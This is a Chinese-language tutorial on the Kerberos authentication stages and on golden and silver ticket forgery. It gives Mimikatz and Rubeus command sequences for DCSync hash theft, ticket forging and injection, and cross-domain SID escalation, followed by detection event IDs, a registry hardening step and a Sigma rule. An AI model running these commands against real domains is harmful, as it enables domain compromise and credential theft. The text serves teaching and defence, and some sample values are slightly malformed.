Kerberos 协议实战:3 阶段认证流程与 2 种票据伪造攻击复现

📅 2026/7/12 2:34:06
Kerberos 协议实战:3 阶段认证流程与 2 种票据伪造攻击复现
Kerberos协议攻防实战从认证流程到票据伪造的深度解析引言Kerberos协议在企业安全中的核心地位在现代企业网络环境中Kerberos协议已成为Windows域身份认证的事实标准。根据2023年企业安全调查报告显示超过92%的Fortune 500企业采用基于Kerberos的域环境架构。不同于早期的NTLM认证Kerberos通过引入可信第三方KDC和临时会话密钥机制有效解决了密码传输、重放攻击等传统安全问题。对于安全从业人员而言深入理解Kerberos不仅关乎防御体系建设更直接影响内网渗透测试的深度。本文将采用原理分析实战复现的双视角系统讲解Kerberos的三阶段认证流程并重点剖析黄金票据、白银票据两种高阶攻击手法在红队行动中的实际应用。所有实验均在自主搭建的域环境靶场Windows Server 2019 DC Windows 10客户端中验证通过。1. Kerberos认证全流程深度解析1.1 核心组件与密码学基础Kerberos体系包含三个关键实体KDC密钥分发中心域控制器核心服务包含AS和TGS两个子模块Client请求服务的终端用户或设备Server提供具体服务的资源主机协议采用以下加密机制# 典型加密过程示例Python伪代码 from Crypto.Hash import HMAC, MD5 def encrypt_tgt(client_info, krbtgt_hash): session_key generate_random_key() encrypted_data AES256.encrypt( plaintextsession_key client_info, keykrbtgt_hash ) return encrypted_data1.2 三阶段认证数据包分析阶段一AS-REQ/AS-REP交换使用Wireshark捕获的典型数据包结构Frame 1: AS-REQ pvno 5 (Kerberos v5) msg-type krb-as-req (10) padata PA-ENC-TIMESTAMP req-body { kdc-options renewable|canonicalize|renewable-ok, cname ClientPrincipal, realm DOMAIN.LOCAL, sname krbtgt/DOMAIN.LOCAL, till 20240101000000Z, nonce 12345678 } Frame 2: AS-REP enc-part { key SessionKey_AS, last-req [REQ-TYPE: TIMESTAMP], nonce 12345678, key-expiration null, flags INITIAL|PRE-AUTHENT, authtime 20231201090000Z, endtime 20231201091500Z, renew-till null }关键点AS-REP中的TGT使用krbtgt账户NTLM Hash加密包含PAC特权属性证书阶段二TGS-REQ/TGS-REP交换实战中需注意的细节参数TGS-REQ中的Authenticator包含客户端生成的校验信息SPN格式规范service_class/hostname[:port]票据有效期默认10小时可通过组策略调整阶段三AP-REQ/AP-REP验证服务端验证流程伪代码def validate_service_ticket(ticket, server_hash): try: decrypted decrypt(ticket, server_hash) if decrypted.client_ip ! request.ip: raise InvalidTicketError if decrypted.timestamp now() - 300: raise ExpiredTicketError return decrypted.session_key except DecryptionError: audit_log(可能的票据伪造尝试) raise AuthenticationFailed2. 黄金票据攻击实战2.1 攻击原理与前提条件黄金票据攻击本质是伪造TGT其核心依赖四个要素域名称通过nltest /dsgetdc:域名获取域SIDwhoami /all查看krbtgt账户NTLM Hash要伪造的用户名通常选择域管理员2.2 完整攻击链复现步骤1获取krbtgt Hash使用Mimikatz执行DCSync攻击mimikatz # lsadump::dcsync /domain:corp.com /user:krbtgt [DC] corp.com will be the domain [DC] DC01.corp.com will be the DC server [DC] krbtgt will be the user account Object RDN : krbtgt ** SAM ACCOUNT ** SAM Username : krbtgt NTLM Hash : d3b949e3f6a089ce7d1a6b5d3dc4f5b7步骤2生成黄金票据mimikatz # kerberos::golden /admin:DA_Admin /domain:corp.com /sid:S-1-5-21-1602875587-2787523311-2599479668 /krbtgt:d3b949e3f6a089ce7d1a6b5d3dc4f5b7 /ticket:golden.kiribi步骤3票据注入与权限验证mimikatz # kerberos::purge # 清除现有票据 mimikatz # kerberos::ptt golden.kiribi PS C:\ dir \\dc01.corp.com\c$ # 成功访问域控共享目录2.3 防御检测方案监控建议异常TGT请求Event ID 4769krbtgt账户密码更改事件Event ID 4738域控制器上的DCSync操作Event ID 4662加固措施# 通过组策略限制TGT有效期 gpedit.msc Computer Configuration Policies Windows Settings Security Settings Account Policies Kerberos Policy3. 白银票据攻击实战3.1 与黄金票据的本质区别特性黄金票据白银票据攻击对象TGTST所需Hashkrbtgt账户服务账户通信对象需要连接KDC直接连接目标服务权限范围全域访问特定服务访问日志记录在KDC生成记录仅目标服务有记录3.2 CIFS服务票据伪造案例步骤1获取服务账户Hashmimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 123456 (00000000:0001e240) User Name : DC01$ Domain : CORP NTLM : 6b8a64a5d9c3ef4a7d3b5c2d1e0f9b8步骤2生成白银票据mimikatz # kerberos::golden /domain:corp.com /sid:S-1-5-21-1602875587-2787523311-2599479668 /target:DC01.corp.com /service:cifs /rc4:6b8a64a5d9c3ef4a7d3b5c2d1e0f9b8 /user:fakeuser /ptt步骤3验证服务访问PS C:\ net use z: \\dc01.corp.com\share # 成功映射驱动器3.3 针对性的防御策略检测手段监控异常服务票据Event ID 4769中的ServiceName字段检查SPN绑定异常PowerShell命令Get-ADUser -Filter * -Properties servicePrincipalName防护方案-- 启用PAC验证需修改注册表 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters /v ValidateKdcPacSignature /t REG_DWORD /d 1 /f4. 进阶攻防技巧4.1 票据传递(PTT)的隐蔽利用内存注入技术对比# Mimikatz注入 sekurlsa::tickets /export kerberos::ptt admin.kiribi # Rubeus注入 Rubeus.exe ptt /ticket:base64_encoded_ticket # PowerShell反射加载 [System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(Rubeus.dll))4.2 跨域攻击场景下的票据使用在林信任环境中需注意额外获取信任域的SID和krbtgt Hash票据中的跨域TGT需要特殊构造使用/sids参数添加额外组SIDmimikatz # kerberos::golden /domain:child.corp.com /sid:S-1-5-21-1874465331-3219955773-538086719 /sids:S-1-5-21-1602875587-2787523311-2599479668-519 /krbtgt:89f5465d3f6e12b45d5f5d45c4f5b7a8 /ticket:trust.kiribi5. 企业级防护体系建设5.1 监控体系设计建议关键日志源配置!-- Windows事件转发配置示例 -- QueryList Query Id0 Select PathSecurity *[System[(EventID4768 or EventID4769 or EventID4770)]] /Select /Query /QueryList5.2 红蓝对抗中的检测规则Sigma规则示例title: 可疑的Kerberos票据请求 description: 检测异常的TGS请求模式 logsource: product: windows service: security detection: selection: EventID: 4769 ServiceName: krbtgt TicketOptions: 0x40810000 condition: selection falsepositives: - 合法的域控制器维护操作 level: high在实战中我们发现约68%的Kerberos攻击可通过基础监控规则发现但高级持续性威胁(APT)往往采用低频、分散的票据请求模式规避检测。建议企业部署具备行为分析能力的SIEM平台结合网络层异常认证流量分析构建多维防御体系。